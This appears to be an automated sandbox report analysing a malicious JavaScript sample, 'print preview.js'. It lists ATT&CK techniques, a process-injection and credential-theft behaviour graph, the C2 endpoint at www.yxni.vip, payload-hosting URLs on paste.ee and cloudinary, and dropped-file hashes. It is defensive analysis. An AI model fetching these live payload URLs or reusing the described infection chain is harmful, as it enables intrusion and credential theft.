                  Source: Yara matchFile source: 00000008.00000002.1989278697.00000000012A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000B.00000002.2697311671.0000000004A70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000B.00000002.2697161668.0000000004A20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

                  Mitre Att&ck Matrix

                  ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                  Gather Victim Identity Information22
                  Scripting                  		Valid Accounts1
                  Exploitation for Client Execution                  		22
                  Scripting                  		1
                  Abuse Elevation Control Mechanism                  		1
                  Deobfuscate/Decode Files or Information                  		1
                  OS Credential Dumping                  		2
                  File and Directory Discovery                  		Remote Services1
                  Archive Collected Data                  		1
                  Web Service                  		Exfiltration Over Other Network MediumAbuse Accessibility Features
                  CredentialsDomainsDefault Accounts2
                  Command and Scripting Interpreter                  		1
                  DLL Side-Loading                  		1
                  DLL Side-Loading                  		1
                  Abuse Elevation Control Mechanism                  		LSASS Memory113
                  System Information Discovery                  		Remote Desktop Protocol1
                  Data from Local System                  		2
                  Ingress Tool Transfer                  		Exfiltration Over BluetoothNetwork Denial of Service
                  Email AddressesDNS ServerDomain Accounts1
                  Scheduled Task/Job                  		1
                  Scheduled Task/Job                  		511
                  Process Injection                  		4
                  Obfuscated Files or Information                  		Security Account Manager121
                  Security Software Discovery                  		SMB/Windows Admin Shares1
                  Email Collection                  		11
                  Encrypted Channel                  		Automated ExfiltrationData Encrypted for Impact
                  Employee NamesVirtual Private ServerLocal Accounts3
                  PowerShell                  		Login Hook1
                  Scheduled Task/Job                  		1
                  Software Packing                  		NTDS1
                  Process Discovery                  		Distributed Component Object ModelInput Capture2
                  Non-Application Layer Protocol                  		Traffic DuplicationData Destruction
                  Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
                  DLL Side-Loading                  		LSA Secrets31
                  Virtualization/Sandbox Evasion                  		SSHKeylogging3
                  Application Layer Protocol                  		Scheduled TransferData Encrypted for Impact
                  Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
                  Masquerading                  		Cached Domain Credentials1
                  Application Window Discovery                  		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                  DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items31
                  Virtualization/Sandbox Evasion                  		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                  Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job511
                  Process Injection                  		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

                  Behavior Graph

                  Hide Legend

                  Legend:

                  • Process
                  • Signature
                  • Created File
                  • DNS/IP Info
                  • Is Dropped
                  • Is Windows Process
                  • Number of created Registry Values
                  • Number of created Files
                  • Visual Basic
                  • Delphi
                  • Java
                  • .Net C# or VB.NET
                  • C, C++ or other language
                  • Is malicious
                  • Internet
                  behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1573029 Sample: print preview.js Startdate: 11/12/2024 Architecture: WINDOWS Score: 100 36 paste.ee 2->36 38 www.yxni.vip 2->38 40 res.cloudinary.com 2->40 46 Suricata IDS alerts for network traffic 2->46 48 Malicious sample detected (through community Yara rule) 2->48 50 Multi AV Scanner detection for submitted file 2->50 54 11 other signatures 2->54 10 wscript.exe 15 2->10         started        signatures3 52 Connects to a pastebin service (likely for C&C) 36->52 process4 dnsIp5 44 www.yxni.vip 192.186.57.30, 49711, 80 FEDERAL-ONLINE-GROUP-LLCUS United States 10->44 34 C:\Windows\Temp\???7????6????2????7.js, ASCII 10->34 dropped 64 System process connects to network (likely due to code injection or exploit) 10->64 66 JScript performs obfuscated calls to suspicious functions 10->66 68 Suspicious powershell command line found 10->68 70 5 other signatures 10->70 15 wscript.exe 1 1 10->15         started        18 choice.exe 13 10->18         started        file6 signatures7 process8 signatures9 72 Suspicious powershell command line found 15->72 74 Wscript starts Powershell (via cmd or directly) 15->74 76 Windows Scripting host queries suspicious COM object (likely to drop second stage) 15->76 20 powershell.exe 7 15->20         started        78 Tries to steal Mail credentials (via file / registry access) 18->78 80 Tries to harvest and steal browser information (history, passwords, etc) 18->80 82 Modifies the context of a thread in another process (thread injection) 18->82 84 2 other signatures 18->84 23 firefox.exe 18->23         started        process10 signatures11 56 Suspicious powershell command line found 20->56 58 Found suspicious powershell code related to unpacking or dynamic code loading 20->58 25 powershell.exe 14 16 20->25         started        29 conhost.exe 20->29         started        process12 dnsIp13 42 paste.ee 172.67.187.200, 443, 49709 CLOUDFLARENETUS United States 25->42 60 Writes to foreign memory regions 25->60 62 Injects a PE file into a foreign processes 25->62 31 MSBuild.exe 25->31         started        signatures14 process15 signatures16 86 Modifies the context of a thread in another process (thread injection) 31->86 88 Maps a DLL or memory area into another process 31->88 90 Switches to a custom stack to bypass stack traces 31->90 92 Found direct / indirect Syscall (likely to bypass EDR) 31->92

                  Screenshots

                  Thumbnails

                  This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                  windows-stand

                  Antivirus, Machine Learning and Genetic Malware Detection

                  Initial Sample

                  SourceDetectionScannerLabelLink
                  print preview.js8%ReversingLabsWin32.Trojan.Generic
                  print preview.js16%VirustotalBrowse

                  Dropped Files

                  ⊘No Antivirus matches

                  Unpacked PE Files

                  ⊘No Antivirus matches

                  Domains

                  SourceDetectionScannerLabelLink
                  www.yxni.vip0%VirustotalBrowse

                  URLs

                  SourceDetectionScannerLabelLink
                  http://www.yxni.vip/skhs/?eUim=YYGtc0vZDxBZaqObTq9Zj4kt+153KBc9C1cdleHi+lzAM/tSLZDkT6oQFAP0CoyED8RVRESu2LRjuGrjAaGK171+G03klmygUbeUcuM2AlBa+KZdbA00yG+Kg2RWBqUOrw==&v21=4rqVx0%Avira URL Cloudsafe
                  https://go.microsoft.co0%Avira URL Cloudsafe

                  Domains and IPs

                  Contacted Domains

                  NameIPActiveMaliciousAntivirus DetectionReputation
                  paste.ee
                  		172.67.187.200
                  		truefalse
                    		high
                    www.yxni.vip
                    		192.186.57.30
                    		truetrueunknown
                    res.cloudinary.com
                    		unknown
                    		unknownfalse
                      		high

                      Contacted URLs

                      NameMaliciousAntivirus DetectionReputation
                      http://www.yxni.vip/skhs/?eUim=YYGtc0vZDxBZaqObTq9Zj4kt+153KBc9C1cdleHi+lzAM/tSLZDkT6oQFAP0CoyED8RVRESu2LRjuGrjAaGK171+G03klmygUbeUcuM2AlBa+KZdbA00yG+Kg2RWBqUOrw==&v21=4rqVxtrue
                      • Avira URL Cloud: safe
                      		unknown
                      https://paste.ee/r/A7bLj/0false
                        		high

                        URLs from Memory and Binaries

                        NameSourceMaliciousAntivirus DetectionReputation
                        https://duckduckgo.com/chrome_newtabchoice.exe, 0000000B.00000003.2181069057.000000000802A000.00000004.00000020.00020000.00000000.sdmpfalse
                          		high
                          https://duckduckgo.com/ac/?q=choice.exe, 0000000B.00000003.2181069057.000000000802A000.00000004.00000020.00020000.00000000.sdmpfalse
                            		high
                            https://www.google.com/images/branding/product/ico/googleg_lodp.icochoice.exe, 0000000B.00000003.2181069057.000000000802A000.00000004.00000020.00020000.00000000.sdmpfalse
                              		high
                              http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000006.00000002.1723709298.000001FC20CD3000.00000004.00000800.00020000.00000000.sdmpfalse
                                		high
                                https://go.microsoft.copowershell.exe, 00000004.00000002.2104209016.000001FB9838E000.00000004.00000020.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000006.00000002.1723709298.000001FC20CD3000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpgXpowershell.exe, 00000006.00000002.1723709298.000001FC20CD3000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=choice.exe, 0000000B.00000003.2181069057.000000000802A000.00000004.00000020.00020000.00000000.sdmpfalse
                                      		high
                                      https://aka.ms/pscore6powershell.exe, 00000004.00000002.2074469806.000001FB8025F000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=choice.exe, 0000000B.00000003.2181069057.000000000802A000.00000004.00000020.00020000.00000000.sdmpfalse
                                          		high
                                          https://res.cloudinary.com/dzakc3wag/raw/upload/v1733871301/uploaded_wscript.exe, wscript.exe, 00000000.00000002.2129976899.00000205931B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2126484534.00000205937FB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2125892514.00000205937D3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1445170587.000002059383A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2126484534.000002059383A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2129933775.00000205919F5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2130247017.000002059383A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2130247017.0000020593800000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		high
                                            https://www.ecosia.org/newtab/choice.exe, 0000000B.00000003.2181069057.000000000802A000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		high
                                              https://github.com/Pester/Pesterpowershell.exe, 00000006.00000002.1723709298.000001FC20CD3000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		high
                                                https://ac.ecosia.org/autocomplete?q=choice.exe, 0000000B.00000003.2181069057.000000000802A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://res.cloudinary.compowershell.exe, 00000006.00000002.1723709298.000001FC20CD3000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://res.cloudinary.com/dzakc3wag/raw/upload/v1733871301/uploaded_textfilewscript.exe, 00000000.00000002.2129766606.000002059183D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      		high
                                                      https://res.cloudinary.com/dzakc3wag/raw/upload/v1733871301/uploaded_textfileSwscript.exe, 00000000.00000003.2126870589.0000020591838000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2126724548.000002059181C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2129766606.000002059183D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchchoice.exe, 0000000B.00000003.2181069057.000000000802A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://res.cloudinary.com/wscript.exe, 00000000.00000002.2129872746.0000020591878000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2127795662.0000020591876000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2126724548.000002059186F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://res.cloudinary.com/dzakc3wag/raw/upload/v1733871301/uploaded_textfileZwscript.exe, 00000000.00000003.2126870589.0000020591838000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2126724548.000002059181C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2129766606.000002059183D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              		high
                                                              https://aka.ms/pscore68powershell.exe, 00000004.00000002.2074469806.000001FB80278000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1723709298.000001FC20AB1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                		high
                                                                http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000004.00000002.2074469806.000001FB802AA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1723709298.000001FC20AB1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=choice.exe, 0000000B.00000003.2181069057.000000000802A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpgpowershell.exe, 00000006.00000002.1722842007.000001FC1EA50000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      		high

                                                                      World Map of Contacted IPs

                                                                      • No. of IPs < 25%
                                                                      • 25% < No. of IPs < 50%
                                                                      • 50% < No. of IPs < 75%
                                                                      • 75% < No. of IPs

                                                                      Public IPs

                                                                      IPDomainCountryFlagASNASN NameMalicious
                                                                      172.67.187.200
                                                                      		paste.eeUnited States
                                                                      		13335CLOUDFLARENETUSfalse
                                                                      192.186.57.30
                                                                      		www.yxni.vipUnited States
                                                                      		395776FEDERAL-ONLINE-GROUP-LLCUStrue

                                                                      General Information

                                                                      Joe Sandbox version:41.0.0 Charoite
                                                                      Analysis ID:1573029
                                                                      Start date and time:2024-12-11 12:14:16 +01:00
                                                                      Joe Sandbox product:CloudBasic
                                                                      Overall analysis duration:0h 8m 25s
                                                                      Hypervisor based Inspection enabled:false
                                                                      Report type:full
                                                                      Cookbook file name:default.jbs
                                                                      Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                      Number of analysed new started processes analysed:14
                                                                      Number of new started drivers analysed:0
                                                                      Number of existing processes analysed:0
                                                                      Number of existing drivers analysed:0
                                                                      Number of injected processes analysed:0
                                                                      Technologies:
                                                                      • HCA enabled
                                                                      • EGA enabled
                                                                      • AMSI enabled
                                                                      Analysis Mode:default
                                                                      Analysis stop reason:Timeout
                                                                      Sample name:print preview.js
                                                                      Detection:MAL
                                                                      Classification:mal100.spre.troj.spyw.expl.evad.winJS@14/9@3/2
                                                                      EGA Information:
                                                                      • Successful, ratio: 80%
                                                                      HCA Information:
                                                                      • Successful, ratio: 96%
                                                                      • Number of executed functions: 79
                                                                      • Number of non-executed functions: 212
                                                                      Cookbook Comments:
                                                                      • Found application associated with file extension: .js

                                                                      Warnings

                                                                      • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                                                                      • Excluded IPs from analysis (whitelisted): 104.17.202.1, 104.17.201.1, 20.109.210.53, 52.165.164.15
                                                                      • Excluded domains from analysis (whitelisted): fe3.delivery.mp.microsoft.com, slscr.update.microsoft.com, resc.cloudinary.com.cdn.cloudflare.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, glb.sls.prod.dcat.dsp.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
                                                                      • Execution Graph export aborted for target powershell.exe, PID 7760 because it is empty
                                                                      • Not all processes where analyzed, report is missing behavior information
                                                                      • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                      • Report size exceeded maximum capacity and may have missing behavior information.
                                                                      • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                      • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                      • Report size getting too big, too many NtQueryValueKey calls found.
                                                                      • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

                                                                      Simulations

                                                                      Behavior and APIs

                                                                      TimeTypeDescription
                                                                      06:15:16API Interceptor81x Sleep call for process: powershell.exe modified
                                                                      06:16:44API Interceptor389740x Sleep call for process: choice.exe modified

                                                                      Joe Sandbox View / Context

                                                                      IPs

                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                      172.67.187.200geHxbPNEMi.vbsGet hashmaliciousUnknownBrowse
                                                                      • paste.ee/d/1QtpX
                                                                      MT103-8819006.DOCS.vbsGet hashmaliciousUnknownBrowse
                                                                      • paste.ee/d/rYCH1
                                                                      LETA_pdf.vbsGet hashmaliciousAsyncRAT, PureLog StealerBrowse
                                                                      • paste.ee/d/0jfAN
                                                                      PO 2725724312_pdf.vbsGet hashmaliciousUnknownBrowse
                                                                      • paste.ee/d/tiRif
                                                                      EWW.vbsGet hashmaliciousUnknownBrowse
                                                                      • paste.ee/d/gFlKP
                                                                      ODC#PO 4500628950098574654323567875765674433##633.xla.xlsxGet hashmaliciousUnknownBrowse
                                                                      • paste.ee/d/JxxYu
                                                                      Purchase Order PO0193832.vbsGet hashmaliciousUnknownBrowse
                                                                      • paste.ee/d/Bpplq
                                                                      Name.vbsGet hashmaliciousUnknownBrowse
                                                                      • paste.ee/d/0kkOm
                                                                      517209487.vbsGet hashmaliciousXWormBrowse
                                                                      • paste.ee/d/s0kJG
                                                                      screen_shots.vbsGet hashmaliciousXWormBrowse
                                                                      • paste.ee/d/GoCAw
                                                                      192.186.57.301013911.jsGet hashmaliciousFormBookBrowse

                                                                        Domains

                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                        paste.eenicegirlforyou.htaGet hashmaliciousCobalt Strike, RemcosBrowse
                                                                        • 104.21.84.67
                                                                        nicewithgreatfeaturesreturnformebestthingsgivensoofar.htaGet hashmaliciousCobalt Strike, RemcosBrowse
                                                                        • 104.21.84.67
                                                                        invoice09850.xlsGet hashmaliciousRemcosBrowse
                                                                        • 188.114.97.6
                                                                        Invoice A037.xlsGet hashmaliciousUnknownBrowse
                                                                        • 188.114.97.6
                                                                        PO-8776-2024.jsGet hashmaliciousRemcosBrowse
                                                                        • 104.21.84.67
                                                                        NESTLE_MEXICO_Purchase_Order_10122024.xlsGet hashmaliciousUnknownBrowse
                                                                        • 188.114.97.6
                                                                        matchingwithbestthingstobegreatforentirelifegivenmebestthignsevergive.htaGet hashmaliciousCobalt Strike, Remcos, HTMLPhisherBrowse
                                                                        • 104.21.84.67
                                                                        Orden_de_Compra_Nmero_6782929219.xlsGet hashmaliciousHTMLPhisherBrowse
                                                                        • 188.114.96.6
                                                                        Aktarma,pdf.vbsGet hashmaliciousRemcosBrowse
                                                                        • 172.67.187.200
                                                                        ithgreat.docGet hashmaliciousUnknownBrowse
                                                                        • 188.114.97.6
                                                                        www.yxni.vip1013911.jsGet hashmaliciousFormBookBrowse
                                                                        • 192.186.57.30

                                                                        ASNs

                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                        FEDERAL-ONLINE-GROUP-LLCUS1013911.jsGet hashmaliciousFormBookBrowse
                                                                        • 192.186.57.30
                                                                        la.bot.arm.elfGet hashmaliciousUnknownBrowse
                                                                        • 192.186.10.220
                                                                        vJSyCK4is2.elfGet hashmaliciousMiraiBrowse
                                                                        • 192.186.57.229
                                                                        12029.exeGet hashmaliciousGuLoaderBrowse
                                                                        • 192.186.7.211
                                                                        qmF3fz3Zn4.exeGet hashmaliciousGuLoaderBrowse
                                                                        • 192.186.7.211
                                                                        file.exeGet hashmaliciousGuLoaderBrowse
                                                                        • 192.186.7.211
                                                                        file.exeGet hashmaliciousGlupteba, GuLoader, Socks5Systemz, StealcBrowse
                                                                        • 192.186.7.211
                                                                        file.exeGet hashmaliciousGuLoaderBrowse
                                                                        • 192.186.7.211
                                                                        J21vdSW40R.exeGet hashmaliciousGuLoaderBrowse
                                                                        • 192.186.7.211
                                                                        file.exeGet hashmaliciousGuLoaderBrowse
                                                                        • 192.186.7.211
                                                                        CLOUDFLARENETUSMdmRznA6gx.lnkGet hashmaliciousDucktailBrowse
                                                                        • 172.67.128.139
                                                                        Cj3OWJHzls.lnkGet hashmaliciousDucktailBrowse
                                                                        • 172.67.128.139
                                                                        3y37oMIUy6.lnkGet hashmaliciousDucktailBrowse
                                                                        • 172.67.128.139
                                                                        m9c7iq9nzP.lnkGet hashmaliciousDucktailBrowse
                                                                        • 172.67.128.139
                                                                        WXahq3ZEss.lnkGet hashmaliciousDucktailBrowse
                                                                        • 104.21.1.51
                                                                        0A3NB8ot11.lnkGet hashmaliciousDucktailBrowse
                                                                        • 104.21.1.51
                                                                        rRtGI3L0ca.lnkGet hashmaliciousDucktailBrowse
                                                                        • 104.21.1.51
                                                                        L0jeOoavu4.lnkGet hashmaliciousDucktailBrowse
                                                                        • 172.67.128.139
                                                                        CID5B21A97B8635.pdfGet hashmaliciousCaptcha PhishBrowse
                                                                        • 104.21.26.167
                                                                        jgbC220X2U.exeGet hashmaliciousUnknownBrowse
                                                                        • 172.67.74.152

                                                                        JA3 Fingerprints

                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                        3b5074b1b5d032e5620f69f9f700ff0eMdmRznA6gx.lnkGet hashmaliciousDucktailBrowse
                                                                        • 172.67.187.200
                                                                        Cj3OWJHzls.lnkGet hashmaliciousDucktailBrowse
                                                                        • 172.67.187.200
                                                                        3y37oMIUy6.lnkGet hashmaliciousDucktailBrowse
                                                                        • 172.67.187.200
                                                                        m9c7iq9nzP.lnkGet hashmaliciousDucktailBrowse
                                                                        • 172.67.187.200
                                                                        WXahq3ZEss.lnkGet hashmaliciousDucktailBrowse
                                                                        • 172.67.187.200
                                                                        0A3NB8ot11.lnkGet hashmaliciousDucktailBrowse
                                                                        • 172.67.187.200
                                                                        rRtGI3L0ca.lnkGet hashmaliciousDucktailBrowse
                                                                        • 172.67.187.200
                                                                        L0jeOoavu4.lnkGet hashmaliciousDucktailBrowse
                                                                        • 172.67.187.200
                                                                        stage2.ps1Get hashmaliciousPureLog Stealer, RevengeRAT, zgRATBrowse
                                                                        • 172.67.187.200
                                                                        nicegirlforyou.htaGet hashmaliciousCobalt Strike, RemcosBrowse
                                                                        • 172.67.187.200

                                                                        Dropped Files

                                                                        ⊘No context

                                                                        Created / dropped Files

                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\uploaded_textfile[1]

                                                                        Download File
                                                                        Process:C:\Windows\System32\wscript.exe
                                                                        File Type:ASCII text, with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):157344
                                                                        Entropy (8bit):5.502641928686193
                                                                        Encrypted:false
                                                                        SSDEEP:3072:s2Yi9s3zYxiRzKYb1jufr2Yi9s3zYxiRzKww2Yi9s3zYxiRzKYb1jufr2Yi9s3zN:sUYRzBufrUYRzOUYRzBufrUYRz9
                                                                        MD5:4CD666E2C6F3EEFA38FAE266CE70DB12
                                                                        SHA1:E1C68C19AA2332E9C8B375C520ACF7A06D7209AE
                                                                        SHA-256:BFDF2AB6F2674B300326C61073F5BA110454A8D12516DECD3CD67A6825F4289E
                                                                        SHA-512:B399082B22B899D39904764730E11BC084E790990F14A9C11B69569CC427DA1467A18BA283F9F6DA80CB0667ABB39EA0976BA9BD29FB71F4BD0D4EC9E0490B91
                                                                        Malicious:false
                                                                        Reputation:low
                                                                        Preview:BneqAiiioRNHrpz = "xCuZhzRzhitWNUh"..cLBUWPAWxCKHkmG = "CWQWAAZcLCiHxLf"..timhBnkokilWOko = "kifvAWfWuRGWfLA"..kkLzCRkGTKOmCom = "itUcUcJGdTTmiUC"..KGCfqKACNoquzil = "ecqWthoAiJhLarB"..cNogrWcSvhuacWK = "ibGGUWiiUicoliJ"..OPBpztfULzLNKAA = "KkLlGTWckhzpcCf"..cZGGkRchZHpOukW = "dRpNobqpcjcCaBq"..WcTGUKGWeWKzmoZ = "KLRhtAhkgiCHRLU"..OhabWourPLiaUKt = "TGGNTzhmoLldNqc"....KjUGAdUnWLfeWAm = "fKLLjAfegPaCLPo"..QuuKWmCcWqKfUhK = "cffOSlqcRckeqJa"..WrlzcWbTPxqLsGc = "GcLWPONZaxULzSL"..mLukHecrdAKhGWb = "ifzeGUooumzGIWK"..iRiNLmWdAImLndN = "zxKPoCuaGAkKmLJ"..irIKWKUodePhhOk = "vApokzWPciAiLtf"..KhLRGURttcNukfp = "oWLhQPUfvcioUZN"..iIiRAhzfWzLpccp = "LfZznCWUKfPqUpA"..UUofviKiKGjddWS = "hiKHRUzfPKCbpdp"..tLLNiinccWfnIdW = "KLlctiWcPkaJGWK"....hOfZKLPeiicRZLq = "AWOoKPicbWrOZli"..oxOUBjhIBfpOxAn = "NgiRiLimacPkGPg"..WmWiKOtLOOeUPLt = "eGLOKvNWvgcRUGi"..htUxfoRhLAJLiUA = "oLhRZtcWLoWHfuW"..WCLiNGokPJuGmme = "qiaUzeBiBKGWdvG"..LjjhsSImkpatqBm = "qdlmaciBGfUqGKd"..KhUJGLtzrLLLiZc = "mjaLWiakWxIfiKS

                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                        Download File
                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        File Type:data
                                                                        Category:dropped
                                                                        Size (bytes):9434
                                                                        Entropy (8bit):4.928515784730612
                                                                        Encrypted:false
                                                                        SSDEEP:192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
                                                                        MD5:D3594118838EF8580975DDA877E44DEB
                                                                        SHA1:0ACABEA9B50CA74E6EBAE326251253BAF2E53371
                                                                        SHA-256:456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
                                                                        SHA-512:103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
                                                                        Malicious:false
                                                                        Preview:PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                        Download File
                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        File Type:data
                                                                        Category:dropped
                                                                        Size (bytes):64
                                                                        Entropy (8bit):1.1940658735648508
                                                                        Encrypted:false
                                                                        SSDEEP:3:Nllluld4Jt/Z:NllU6j
                                                                        MD5:745E05B9A9795FA48B7E42C8C025B9FA
                                                                        SHA1:A3C346B741ACC27369A4AF25CAEB45BC874F0F58
                                                                        SHA-256:B6AF71FFBBE45D8F8F3503C329FBA2EE8EF16307C16979260662355E014E4501
                                                                        SHA-512:9783934689D83CD7A99F306A149B2240B7200C1E1A9B951A51EBC12909A68786189A3412FA62BBB27B7E0F3B013FD4D111C5CB9E1791C0BAF8779B95C6280F62
                                                                        Malicious:false
                                                                        Preview:@...e.................................L..............@..........

                                                                        C:\Users\user\AppData\Local\Temp\4789071F

                                                                        Download File
                                                                        Process:C:\Windows\SysWOW64\choice.exe
                                                                        File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                        Category:dropped
                                                                        Size (bytes):196608
                                                                        Entropy (8bit):1.1209886597424439
                                                                        Encrypted:false
                                                                        SSDEEP:192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8QbnVcxjONC4Je5Q:r2qOB1nxCkvSAELyKOMq+8QTQKC+
                                                                        MD5:EFD26666EAE0E87B32082FF52F9F4C5E
                                                                        SHA1:603BFE6A7D6C0EC4B8BA1D38AEA6EFADDC42B5E0
                                                                        SHA-256:67D4CAA4255418EB18873F01597D1F4257C4146D1DCED78E26D5FD76B783F416
                                                                        SHA-512:28ADD7B8D88795F191567FD029E9F8BC9AEF7584CE3CD56DB40BBA52BC8335F2D8E53A5CE44C153C13A31FD0BE1D76D1E558A4AA5987D5456C000C4D64F08EAA
                                                                        Malicious:false
                                                                        Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_25vgzcdy.pgx.psm1

                                                                        Download File
                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        File Type:ASCII text, with no line terminators
                                                                        Category:dropped
                                                                        Size (bytes):60
                                                                        Entropy (8bit):4.038920595031593
                                                                        Encrypted:false
                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
